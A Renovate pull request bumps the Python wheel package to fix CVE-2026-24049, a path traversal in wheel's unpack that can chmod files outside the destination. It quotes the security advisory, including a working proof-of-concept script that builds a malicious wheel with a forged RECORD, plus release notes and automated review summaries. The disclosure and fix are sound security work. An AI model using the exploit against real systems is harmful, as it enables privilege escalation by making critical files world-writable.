chore(deps): update dependency wheel to v0.46.2 [security] - autoclosed

[renovate-bot]

This PR contains the following updates:

Package	Change	Age	Confidence
wheel (changelog)	==0.45.1 → ==0.46.2

GitHub Vulnerability Alerts

CVE-2026-24049

Summary

• Vulnerability Type: Path Traversal (CWE-22) leading to Arbitrary File Permission Modification.
• Root Cause Component: wheel.cli.unpack.unpack function.
• Affected Packages:
  1. wheel (Upstream source)
  2. setuptools (Downstream, vendors wheel)
• Severity: High (Allows modifying system file permissions).

Details

The vulnerability exists in how the unpack function handles file permissions after extraction. The code blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path.

# Vulnerable Code Snippet (present in both wheel and setuptools/_vendor/wheel)
for zinfo in wf.filelist:
    wf.extract(zinfo, destination)  # (1) Extraction is handled safely by zipfile

    # (2) VULNERABILITY:
    # The 'permissions' are applied to a path constructed using the UNSANITIZED 'zinfo.filename'.
    # If zinfo.filename contains "../", this targets files outside the destination.
    permissions = zinfo.external_attr >> 16 & 0o777
    destination.joinpath(zinfo.filename).chmod(permissions)

PoC

I have confirmed this exploit works against the unpack function imported from setuptools._vendor.wheel.cli.unpack.

Prerequisites: pip install setuptools

Step 1: Generate the Malicious Wheel (gen_poc.py)
This script creates a wheel that passes internal hash validation but contains a directory traversal payload in the file list.

import zipfile
import hashlib
import base64
import os

def urlsafe_b64encode(data):
    """
    Helper function to encode data using URL-safe Base64 without padding.
    Required by the Wheel file format specification.
    """
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode('ascii')

def get_hash_and_size(data_bytes):
    """
    Calculates SHA-256 hash and size of the data.
    These values are required to construct a valid 'RECORD' file,
    which is used by the 'wheel' library to verify integrity.
    """
    digest = hashlib.sha256(data_bytes).digest()
    hash_str = "sha256=" + urlsafe_b64encode(digest)
    return hash_str, str(len(data_bytes))

def create_evil_wheel_v4(filename="evil-1.0-py3-none-any.whl"):
    print(f"[Generator V4] Creating 'Authenticated' Malicious Wheel: {filename}")

    # 1. Prepare Standard Metadata Content
    # These are minimal required contents to make the wheel look legitimate.
    wheel_content = b"Wheel-Version: 1.0\nGenerator: bdist_wheel (0.37.1)\nRoot-Is-Purelib: true\nTag: py3-none-any\n"
    metadata_content = b"Metadata-Version: 2.1\nName: evil\nVersion: 1.0\nSummary: PoC Package\n"
   
    # 2. Define Malicious Payload (Path Traversal)
    # The content doesn't matter, but the path does.
    payload_content = b"PWNED by Path Traversal"

    # [ATTACK VECTOR]: Target a file OUTSIDE the extraction directory using '../'
    # The vulnerability allows 'chmod' to affect this path directly.
    malicious_path = "../../poc_target.txt"

    # 3. Calculate Hashes for Integrity Check Bypass
    # The 'wheel' library verifies if the file hash matches the RECORD entry.
    # To bypass this check, we calculate the correct hash for our malicious file.
    wheel_hash, wheel_size = get_hash_and_size(wheel_content)
    metadata_hash, metadata_size = get_hash_and_size(metadata_content)
    payload_hash, payload_size = get_hash_and_size(payload_content)

    # 4. Construct the 'RECORD' File
    # The RECORD file lists all files in the wheel with their hashes.
    # CRITICAL: We explicitly register the malicious path ('../../poc_target.txt') here.
    # This tricks the 'wheel' library into treating the malicious file as a valid, verified component.
    record_lines = [
        f"evil-1.0.dist-info/WHEEL,{wheel_hash},{wheel_size}",
        f"evil-1.0.dist-info/METADATA,{metadata_hash},{metadata_size}",
        f"{malicious_path},{payload_hash},{payload_size}",  # <-- Authenticating the malicious path
        "evil-1.0.dist-info/RECORD,,"
    ]
    record_content = "\n".join(record_lines).encode('utf-8')

    # 5. Build the Zip File
    with zipfile.ZipFile(filename, "w") as zf:
        # Write standard metadata files
        zf.writestr("evil-1.0.dist-info/WHEEL", wheel_content)
        zf.writestr("evil-1.0.dist-info/METADATA", metadata_content)
        zf.writestr("evil-1.0.dist-info/RECORD", record_content)

        # [EXPLOIT CORE]: Manually craft ZipInfo for the malicious file
        # We need to set specific permission bits to trigger the vulnerability.
        zinfo = zipfile.ZipInfo(malicious_path)
       
        # Set external attributes to 0o777 (rwxrwxrwx)
        # Upper 16 bits: File type (0o100000 = Regular File)
        # Lower 16 bits: Permissions (0o777 = World Writable)
        # The vulnerable 'unpack' function will blindly apply this '777' to the system file.
        zinfo.external_attr = (0o100000 | 0o777) << 16
       
        zf.writestr(zinfo, payload_content)

    print("[Generator V4] Done. Malicious file added to RECORD and validation checks should pass.")

if __name__ == "__main__":
    create_evil_wheel_v4()

Step 2: Run the Exploit (exploit.py)

from pathlib import Path
import sys

# Demonstrating impact on setuptools
try:
    from setuptools._vendor.wheel.cli.unpack import unpack
    print("[*] Loaded unpack from setuptools")
except ImportError:
    from wheel.cli.unpack import unpack
    print("[*] Loaded unpack from wheel")

# 1. Setup Target (Read-Only system file simulation)
target = Path("poc_target.txt")
target.write_text("SENSITIVE CONFIG")
target.chmod(0o400) # Read-only
print(f"[*] Initial Perms: {oct(target.stat().st_mode)[-3:]}")

# 2. Run Vulnerable Unpack

# The wheel contains "../../poc_target.txt".
# unpack() will extract safely, BUT chmod() will hit the actual target file.
try:
    unpack("evil-1.0-py3-none-any.whl", "unpack_dest")
except Exception as e:
    print(f"[!] Ignored expected extraction error: {e}")

# 3. Check Result
final_perms = oct(target.stat().st_mode)[-3:]
print(f"[*] Final Perms: {final_perms}")

if final_perms == "777":
    print("VULNERABILITY CONFIRMED: Target file is now world-writable (777)!")
else:
    print("[-] Attack failed.")

result:

Impact

Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files) to 777. This allows for Privilege Escalation or arbitrary code execution by modifying now-writable scripts.

Recommended Fix

The unpack function must not use zinfo.filename for post-extraction operations. It should use the sanitized path returned by wf.extract().

Suggested Patch:

# extract() returns the actual path where the file was written
extracted_path = wf.extract(zinfo, destination)

# Only apply chmod if a file was actually written
if extracted_path:
    permissions = zinfo.external_attr >> 16 & 0o777
    Path(extracted_path).chmod(permissions)

---

Release Notes

pypa/wheel (wheel)

v0.46.2

Compare Source

• Restored the bdist_wheel command for compatibility with setuptools older than v70.1
• Importing wheel.bdist_wheel now emits a FutureWarning instead of a DeprecationWarning
• Fixed wheel unpack potentially altering the permissions of files outside of the destination tree with maliciously crafted wheels (CVE-2026-24049)

v0.46.1

Compare Source

• Temporarily restored the wheel.macosx_libfile module (#​659)

v0.46.0

Compare Source

• Dropped support for Python 3.8
• Removed the bdist_wheel setuptools command implementation and entry point. The wheel.bdist_wheel module is now just an alias to setuptools.command.bdist_wheel, emitting a deprecation warning on import.
• Removed vendored packaging in favor of a run-time dependency on it
• Made the wheel.metadata module private (with a deprecation warning if it's imported
• Made the wheel.cli package private (no deprecation warning)
• Fixed an exception when calling the convert command with an empty description field

---

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[gemini-code-assist]

Summary of Changes

Hello @renovate-bot, I'm Gemini Code Assist¹! I'm currently reviewing this pull request and will post my feedback shortly. In the meantime, here's a summary to help you and other reviewers quickly get up to speed!

This pull request upgrades the wheel dependency to its latest version, 0.46.2. This update is crucial as it incorporates a fix for a critical security vulnerability (CVE-2026-24049) that could allow attackers to modify file permissions outside the intended extraction directory. By applying this update, the project enhances its security posture against potential path traversal attacks during wheel unpacking.

Highlights

• Dependency Update: Updates the wheel package from version 0.45.1 to 0.46.2.
• Security Fix: Addresses CVE-2026-24049, a high-severity Path Traversal vulnerability in the wheel.cli.unpack.unpack function, which could lead to arbitrary file permission modification.

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[gemini-code-assist]

Code Review

This pull request updates the wheel dependency from version 0.45.1 to 0.46.2. This is an important security update to address a path traversal vulnerability (GHSA-8rrh-rw8j-w5fx) in the wheel package's unpack functionality. A malicious wheel file could exploit this to alter file permissions outside of the intended destination directory. The update to version 0.46.2 contains the patch for this vulnerability. The version change and the updated hashes in requirements.txt are correct. This is a necessary update to mitigate the security risk.